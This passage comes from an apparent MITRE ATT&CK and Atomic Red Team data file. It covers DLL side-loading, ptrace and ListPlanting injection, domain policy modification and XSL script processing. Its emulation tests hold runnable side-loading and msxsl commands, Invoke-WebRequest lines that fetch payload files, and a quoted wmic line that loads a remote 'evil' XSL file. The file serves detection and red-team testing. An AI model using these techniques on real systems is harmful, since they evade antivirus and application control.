- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
- "created": "2020-03-13T19:41:37.908Z",
- "x_mitre_version": "2.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.002",
- "url": "https://attack.mitre.org/techniques/T1574/002"
- },
- {
- "source_name": "FireEye DLL Side-Loading",
- "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf",
- "description": "Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/641.html",
- "source_name": "capec",
- "external_id": "CAPEC-641"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).\n\nSide-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)",
- "modified": "2022-05-05T04:07:48.912Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Hijack Execution Flow: DLL Side-Loading",
- "x_mitre_detection": "Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs. Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "File: File Creation",
- "File: File Modification",
- "Module: Module Load",
- "Process: Process Creation"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Application Control"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1574.002"
- },
- "atomic_tests": [
- {
- "name": "DLL Side-Loading using the Notepad++ GUP.exe binary",
- "auto_generated_guid": "65526037-7079-44a9-bda1-2cb624838040",
- "description": "GUP is an open source signed binary used by Notepad++ for software updates, and is vulnerable to DLL Side-Loading, thus enabling the libcurl dll to be loaded.\nUpon execution, calc.exe will be opened.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "process_name": {
- "description": "Name of the created process",
- "type": "string",
- "default": "calculator.exe"
- },
- "gup_executable": {
- "description": "GUP is an open source signed binary used by Notepad++ for software updates",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1574.002\\bin\\GUP.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Gup.exe binary must exist on disk at specified location (#{gup_executable})\n",
- "prereq_command": "if (Test-Path #{gup_executable}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{gup_executable}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/GUP.exe?raw=true\" -OutFile \"#{gup_executable}\"\n"
- }
- ],
- "executor": {
- "command": "#{gup_executable}\n",
- "cleanup_command": "taskkill /F /IM #{process_name} >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "DLL Side-Loading using the dotnet startup hook environment variable",
- "auto_generated_guid": "d322cdd7-7d60-46e3-9111-648848da7c02",
- "description": "Utilizing the dotnet_startup_hooks environment variable, this method allows for registering a global method in an assembly that will be executed whenever a .net core application is started. This unlocks a whole range of scenarios, from injecting a profiler to tweaking a static context in a given environment. [blog post](https://medium.com/criteo-engineering/c-have-some-fun-with-net-core-startup-hooks-498b9ad001e1)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "process_name": {
- "description": "Name of the created process",
- "type": "string",
- "default": "calculator.exe"
- },
- "preloader_dll": {
- "description": "library for interfacing with the dotnet framework",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1574.002\\bin\\preloader.dll"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": ".Net SDK must be installed\n",
- "prereq_command": "if (Test-Path \"C:\\Program Files\\dotnet\\dotnet.exe\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "winget install Microsoft.DotNet.SDK.6 --accept-source-agreements --accept-package-agreements -h > $null\necho.\n"
- },
- {
- "description": "preloader must exist\n",
- "prereq_command": "if (Test-Path \"#{preloader_dll}\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/preloader?raw=true\" -OutFile \"#{preloader_dll}\"\n"
- }
- ],
- "executor": {
- "command": "set DOTNET_STARTUP_HOOKS=#{preloader_dll}\ndotnet -h > nul\necho.\n",
- "cleanup_command": "taskkill /F /IM #{process_name} >nul 2>&1\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1126": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--e7eab98d-ae11-4491-bd28-a53ba875865a",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:38.350Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1126",
- "url": "https://attack.mitre.org/techniques/T1126"
- },
- {
- "url": "https://technet.microsoft.com/bb490717.aspx",
- "description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.",
- "source_name": "Technet Net Use"
- }
- ],
- "modified": "2020-01-31T12:39:48.118Z",
- "name": "Network Share Connection Removal",
- "description": "Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete
command. (Citation: Technet Net Use)\n\n",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of net use
commands associated with establishing and removing remote shares over SMB, including following best practices for detection of [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Host forensic analysis"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "x_mitre_system_requirements": [
- "Established network share connection to a remote system. Level of access depends on permissions of the account used."
- ]
- },
- "atomic_tests": []
- },
- "T1055.008": {
- "technique": {
- "x_mitre_platforms": [
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f",
- "type": "attack-pattern",
- "created": "2020-01-14T01:33:19.065Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1055.008",
- "url": "https://attack.mitre.org/techniques/T1055/008"
- },
- {
- "source_name": "PTRACE man",
- "url": "http://man7.org/linux/man-pages/man2/ptrace.2.html",
- "description": "Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's Manual. Retrieved February 21, 2020."
- },
- {
- "source_name": "Medium Ptrace JUL 2018",
- "url": "https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be",
- "description": "Jain, S. (2018, July 25). Code injection in running process using ptrace. Retrieved February 21, 2020."
- },
- {
- "source_name": "BH Linux Inject",
- "url": "https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf",
- "description": "Colgan, T. (2015, August 15). Linux-Inject. Retrieved February 21, 2020."
- },
- {
- "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.",
- "source_name": "ArtOfMemoryForensics"
- },
- {
- "url": "https://www.gnu.org/software/acct/",
- "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.",
- "source_name": "GNU Acct"
- },
- {
- "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing",
- "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.",
- "source_name": "RHEL auditd"
- },
- {
- "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html",
- "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.",
- "source_name": "Chokepoint preload rootkits"
- }
- ],
- "modified": "2021-10-18T12:26:31.766Z",
- "name": "Ptrace System Calls",
- "description": "Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc
) then invoking that memory with PTRACE_SETREGS
to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT
/PTRACE_POKEDATA
, which copy data to a specific address in the target processes\u2019 memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: OS API Execution",
- "Process: Process Access",
- "Process: Process Modification"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Application control"
- ]
- },
- "atomic_tests": []
- },
- "T1055.015": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "ESET"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--eb2cb5cb-ae87-4de0-8c35-da2a17aafb99",
- "type": "attack-pattern",
- "created": "2021-11-22T15:02:15.190Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1055.015",
- "url": "https://attack.mitre.org/techniques/T1055/015"
- },
- {
- "source_name": "Microsoft List View Controls",
- "url": "https://docs.microsoft.com/windows/win32/controls/list-view-controls-overview",
- "description": "Microsoft. (2021, May 25). About List-View Controls. Retrieved January 4, 2022."
- },
- {
- "source_name": "Modexp Windows Process Injection",
- "url": "https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/",
- "description": "odzhan. (2019, April 25). Windows Process Injection: WordWarping, Hyphentension, AutoCourgette, Streamception, Oleum, ListPlanting, Treepoline. Retrieved November 15, 2021."
- },
- {
- "source_name": "ESET InvisiMole June 2020",
- "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
- "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
- }
- ],
- "modified": "2022-03-08T20:59:20.762Z",
- "name": "ListPlanting",
- "description": "Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\n\nList-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a SysListView32
control.\n\nListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process\u2019 memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32
child of the victim process window (via Windows API calls such as FindWindow
and/or EnumWindows
) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\n\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory
function. For example, an adversary can use the PostMessage
and/or SendMessage
API functions to send LVM_SETITEMPOSITION
and LVM_GETITEMPOSITION
messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) \n\nFinally, the payload is triggered by sending the LVM_SORTITEMS
message to the SysListView32
child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems
callback.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as FindWindow
, FindWindowEx
, EnumWindows
, EnumChildWindows
, and those that can be used to modify memory within another process, such as VirtualAllocEx
/WriteProcessMemory
, may be abused for this technique. \n\nConsider monitoring for excessive use of SendMessage
and/or PostMessage
API functions with LVM_SETITEMPOSITION
and/or LVM_GETITEMPOSITION
arguments.\n\nAnalyze process behavior to determine if a process is performing unusual actions, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Modification",
- "Process: OS API Execution"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1484": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Azure AD"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d",
- "type": "attack-pattern",
- "created": "2019-03-07T14:10:32.650Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1484",
- "url": "https://attack.mitre.org/techniques/T1484"
- },
- {
- "source_name": "ADSecurity GPO Persistence 2016",
- "url": "https://adsecurity.org/?p=2716",
- "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019."
- },
- {
- "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019.",
- "url": "https://wald0.com/?p=179",
- "source_name": "Wald0 Guide to GPOs"
- },
- {
- "source_name": "Harmj0y Abusing GPO Permissions",
- "url": "http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/",
- "description": "Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019."
- },
- {
- "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks",
- "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/",
- "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020."
- },
- {
- "source_name": "Microsoft - Azure Sentinel ADFSDomainTrustMods",
- "url": "https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml",
- "description": "Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020."
- },
- {
- "source_name": "Microsoft 365 Defender Solorigate",
- "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/",
- "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021."
- },
- {
- "source_name": "Sygnia Golden SAML",
- "url": "https://www.sygnia.co/golden-saml-advisory",
- "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021."
- },
- {
- "source_name": "CISA SolarWinds Cloud Detection",
- "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-008a",
- "description": "CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021."
- },
- {
- "source_name": "Microsoft - Update or Repair Federated domain",
- "url": "https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365",
- "description": "Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020."
- }
- ],
- "modified": "2021-02-09T15:52:24.598Z",
- "name": "Domain Policy Modification",
- "description": "Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts.\n\nWith sufficient permissions, adversaries can modify domain policy settings. Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse. Examples of such abuse include modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) Adversaries can also change configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\n\nAdversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain
and Set domain authentication
.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\n\nConsider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate)",
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Active Directory: Active Directory Object Deletion",
- "Active Directory: Active Directory Object Modification",
- "Active Directory: Active Directory Object Creation"
- ],
- "x_mitre_defense_bypassed": [
- "System access controls",
- "File system access controls"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1220": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Avneet Singh",
- "Casey Smith",
- "Praetorian"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3",
- "created": "2018-10-17T00:14:20.652Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1220",
- "url": "https://attack.mitre.org/techniques/T1220"
- },
- {
- "source_name": "Reaqta MSXSL Spearphishing MAR 2018",
- "url": "https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/",
- "description": "Admin. (2018, March 2). Spear-phishing campaign leveraging on MSXSL. Retrieved July 3, 2018."
- },
- {
- "source_name": "Twitter SquiblyTwo Detection APR 2018",
- "url": "https://twitter.com/dez_/status/986614411711442944",
- "description": "Desimone, J. (2018, April 18). Status Update. Retrieved July 3, 2018."
- },
- {
- "source_name": "LOLBAS Wmic",
- "url": "https://lolbas-project.github.io/lolbas/Binaries/Wmic/",
- "description": "LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019."
- },
- {
- "source_name": "Microsoft msxsl.exe",
- "url": "https://www.microsoft.com/download/details.aspx?id=21714",
- "description": "Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). Retrieved July 3, 2018."
- },
- {
- "source_name": "Penetration Testing Lab MSXSL July 2017",
- "url": "https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/",
- "description": "netbiosX. (2017, July 6). AppLocker Bypass \u2013 MSXSL. Retrieved July 3, 2018."
- },
- {
- "source_name": "XSL Bypass Mar 2019",
- "url": "https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75",
- "description": "Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE \u2014 A Way to Proxy Code Execution. Retrieved August 2, 2019."
- },
- {
- "source_name": "Microsoft XSLT Script Mar 2017",
- "url": "https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script",
- "description": "Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting Using . Retrieved July 3, 2018."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)\n\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)\n\n* msxsl.exe customers[.]xml script[.]xsl
\n* msxsl.exe script[.]xsl script[.]xsl
\n* msxsl.exe script[.]jpeg script[.]jpeg
\n\nAnother variation of this technique, dubbed \u201cSquiblytwo\u201d, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)\n\n* Local File: wmic process list /FORMAT:evil[.]xsl
\n* Remote File: wmic os get /FORMAT:\u201dhttps[:]//example[.]com/evil[.]xsl\u201d
",
- "modified": "2022-05-05T05:04:14.238Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "XSL Script Processing",
- "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded.\n\nThe presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.",
- "kill_chain_phases": [
- {
- "phase_name": "defense-evasion",
- "kill_chain_name": "mitre-attack"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Module: Module Load",
- "Process: Process Creation"
- ],
- "x_mitre_system_requirements": [
- "Microsoft Core XML Services (MSXML) or access to wmic.exe"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Digital Certificate Validation",
- "Application Control"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1220"
- },
- "atomic_tests": [
- {
- "name": "MSXSL Bypass using local files",
- "auto_generated_guid": "ca23bfb2-023f-49c5-8802-e66997de462d",
- "description": "Executes the code specified within a XSL script tag during XSL transformation using a local payload. \nRequires download of MSXSL. No longer available from Microsoft.\n(Available via Internet Archive https://web.archive.org/web/20200825011623/https://www.microsoft.com/en-us/download/details.aspx?id=21714 ) \nOpen Calculator.exe when test successfully executed, while AV turned off.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "xmlfile": {
- "description": "Location of the test XML file on the local filesystem.",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1220\\src\\msxslxmlfile.xml"
- },
- "xslfile": {
- "description": "Location of the test XSL script file on the local filesystem.",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1220\\src\\msxslscript.xsl"
- },
- "msxsl_exe": {
- "description": "Location of the MSXSL executable.",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1220\\bin\\msxsl.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "XML file must exist on disk at specified location (#{xmlfile})\n",
- "prereq_command": "if (Test-Path #{xmlfile}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{xmlfile}) -ErrorAction Ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/msxslxmlfile.xml\" -OutFile \"#{xmlfile}\"\n"
- },
- {
- "description": "XSL file must exist on disk at specified location (#{xslfile})\n",
- "prereq_command": "if (Test-Path #{xslfile}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{xslfile}) -ErrorAction Ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/msxslscript.xsl\" -OutFile \"#{xslfile}\"\n"
- },
- {
- "description": "msxsl.exe must exist on disk at specified location (#{msxsl_exe})\n",
- "prereq_command": "if (Test-Path #{msxsl_exe}) {exit 0} else {exit 1}\n",
